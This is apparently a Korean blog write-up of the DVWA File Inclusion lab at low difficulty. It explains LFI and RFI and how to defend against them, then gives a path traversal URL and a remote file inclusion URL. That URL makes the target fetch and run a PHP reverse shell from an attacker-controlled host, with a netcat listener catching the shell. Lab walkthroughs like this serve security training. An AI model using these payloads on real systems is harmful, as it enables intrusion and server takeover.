이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요. |
[ 환경 ]
DVWA | v1.9 |
Burp Suite | Community Edition v2024.11.2 |
File Inclusion 취약점은 웹 애플리케이션에서 사용자 입력값을 이용해 서버 파일을 동적으로 로드하는 경우, 공격자가 악의적인 파일이나 민감한 서버 파일을 포함시킬 수 있는 보안 취약점이다. 이 취약점은 Local File Inclusion (LFI)와 Remote File Inclusion (RFI)로 나뉘며, 서버 파일 시스템에 대한 접근, 악성 코드 실행, 민감한 정보 탈취 등의 공격에 악용될 수 있다.
ㅁ Local File Inclusion (LFI)
ㅁ Remote File Inclusion (RFI)
사용자 입력값 검증 부족
동적 파일 호출 로직
디렉토리 경로 보호 미흡
환경 설정 오류
취약한 파일 권한
사용자 입력값 검증 및 제한
상대 경로 차단 및 고정 경로 사용
파일 읽기 제한
PHP 설정 변경
경로 탐색 차단
웹 애플리케이션 방화벽(WAF) 사용
코드 리뷰 및 보안 테스트
File Inclusion 취약점은 서버 내부 파일의 노출뿐만 아니라 원격 코드 실행까지 가능한 치명적인 보안 문제이다. 이를 방지하기 위해 사용자 입력값 검증, 파일 경로 보호, 환경 설정 강화 등 다층적인 보안 조치를 적용해야 한다. 더불어, 정기적인 보안 테스트와 모니터링으로 애플리케이션의 취약점을 사전에 차단하는 것이 중요하다.
실습에 앞서 [그림 2]와 같은 에러 메시지가 출력된다면, File Inclusion 취약점을 실습할 수 없다.
해결방법은 php.ini 파일에서 allow_url_fopen과 allow_url_include 옵션은 Off에서 On으로 설정해주고, Apache를 재 시작해주면 된다. 만약 옵션을 변경해주었는데도 적용이 안된다면, 시스템을 재부팅하면 정상적으로 동작한다.
이제 본격적으로실습에 들어가보자. File Inclusion를 시작하면 file1.php, file2.php, file3.php로 연결되는 세 개의 링크가 있는 기본 양식을 볼 수 있다.
화면에 보이는 파일들을 클릭해보면 각각의 다른 정보들을 출력하는 것을 확인할 수 있다.
여기서 주의깊게 살펴볼 부분은 바로 URL 부분이다. 링크를 클릭하면 그에 따라 페이지가 변경되며, 변경되는 것은 page Parameter 뿐이다.
File Inclusion의 목표는 ../hackable/flags/fi.php 의 5개의 명언을 모두 읽는 것이다. 앞서 소스코드에서 보았듯이 아무런 필터링이 없는것을 확인하였으며, page Parameter에 ../hackable/flags/fi.php를 삽입하였더니 [그림 7]과 같이 에러가 발생하였다. 에러 내용을 자세히 살펴보니, DVWA의 루트 디렉터리는 /app/로 설정되어 있는것을 확인할 수 있다. 따라서 문제의 페이지는 /app/ vulnerabilities/fi 안에 존재한다. 하지만 app에서는 플래그가 /hackable/flags/fi.php에 존재한다고 하였다. 기본적으로 DVWA는 루트에서 두 단계 아래에 현재 문제를 배치하였다. 그러나 방금 시도한 exploit은 한 디렉토리만 탐색하였다. 실제로 /hackable/ 디렉토리를 찾으려면 한 단계가 아니라 두 단계 위로 올라가야한다.
URL을 다음과 같이 수정하여 전송하면, [그림 8]과 같이 ../hackable/flags/fi.php의 내용을 확인할 수 있다.
http://192.168.107.144/vulnerabilities/fi/?page=../../hackable/flags/fi.php |
하지만 자세히 살펴보면 1번, 2번, 4번의 내용은 명확하게 볼수 있으나, 3번과 5번의 내용은 보이지 않는다. 지금까지 LFI ( Local File Inclusion )를 이용하여 중요 파일을 확인하였다면, RFI ( Remote File Inclusion)를 이용해서 fi.php를 직접 확인해봐야 나머지 문구를 찾을수 있지 않을까 생각된다.
먼저 RFI 취약점이 동작하는지 확인해보자. page Parameter에 Goolge URL을 입력하여 전송하였더니, Google 페이지가 출력되는것을 확인할 수 있다. 이말은 RFI 취약점이 존재한다는 의미이다.
http://192.168.107.144/vulnerabilities/fi/?page=http://www.google.com |
그럼 이번에는 Reverse Shell을 이용해서, DVWA 서버에 접근한 다음 직접 /hackable/flags/fi.php 파일을 확인해보자. Reverse Shell을 이용하기 위해 Kali에서 간단하게 Python으로 웹 서버를 만드는 것부터 시작한다. (웹 서버를 구성해도 상관없음)
python -m http.server 8888 // Python 3.x인 경우
python -m SimpleHTTPServer 8888 // Python 2.x인 경우
//8888은 Port 번호로 임의지정
다음으로 Shell을 만들어야 하는데, 기본적으로 Kali에는 여러 개의 Shell을 가지고 있다. 여기서는 /usr/share/webshells/php에 있는 php-reverse-shell.php을 이용할 예정이다.
php-reverse-shell.php를 python 웹 서버를 실행 시킨 위치에 복사한 후 [그림 12]에서 처럼 $ip와 $port를 수정한다. 여기서 $ip는 kali의 IP이며, $port는 나중에 Reverse Shell이 접근할 포트를 임의로 설정한다.
마지막으로 셸에서 연결을 수락할 리스너가 필요한데, 여기서는 Netcat(nc)을 사용한다.
구분 | 설명 |
nc | Netcat, 네트워크 도구로 다양한 TCP/UDP 연결을 관리 |
-l | Listening 모드, 연결을 기다림 |
v | Verbose 모드, 상세 정보를 출력 |
n | DNS를 사용하지 않고 숫자로만 IP 주소와 포트를 처리 |
p 8080 | 포트 8080을 사용하여 수신 대기 |
이제 모든것을 통합할 차례이다. 여기서 사용하는 RFI exploit은 아래와 같이 Kali에서 실행한 웹 서버에 수정한 php-reverse-shell.php가 된다.
http://192.168.107.144/vulnerabilities/fi/?page=http://192.168.107.135:8888/php-reverse-shell.php |
expoit이 실행되면, [그림 14]와 같이 Kali에서 실행한 웹 서버로 연결이 된다.
이후 php-reverse-shell.php가 실행되며, Netcat에서 수신 대기하고 있던 8080 Port로 연결되어 DVWA 서버의 Shell을 획득하였다.
Shell을 획득하면 서버를 장악한거기 때문에, 앞서 언급한 /hackable/flags/fi.php 파일을 직접 확인할 수 있다.
실제로 fi.php 원본 소스코드를 확인하면, 5개의 명언들을 모두 확인할 수 있다.
재미있는건 링크에 존재하지 않은 file4.php가 존재한다는 것이다. 주어진 내용만 확인하지 말고 숨겨진 파일도 예측해서 찾아보라는 의미인건지?
DVWA : File Inclusion - High level (0) | 2025.01.03 |
---|---|
DVWA : File Inclusion - Medium level (1) | 2025.01.03 |
DVWA : CSRF - Impossible level (0) | 2025.01.01 |
DVWA : CSRF - High level (0) | 2025.01.01 |
DVWA : CSRF - Medium level (0) | 2025.01.01 |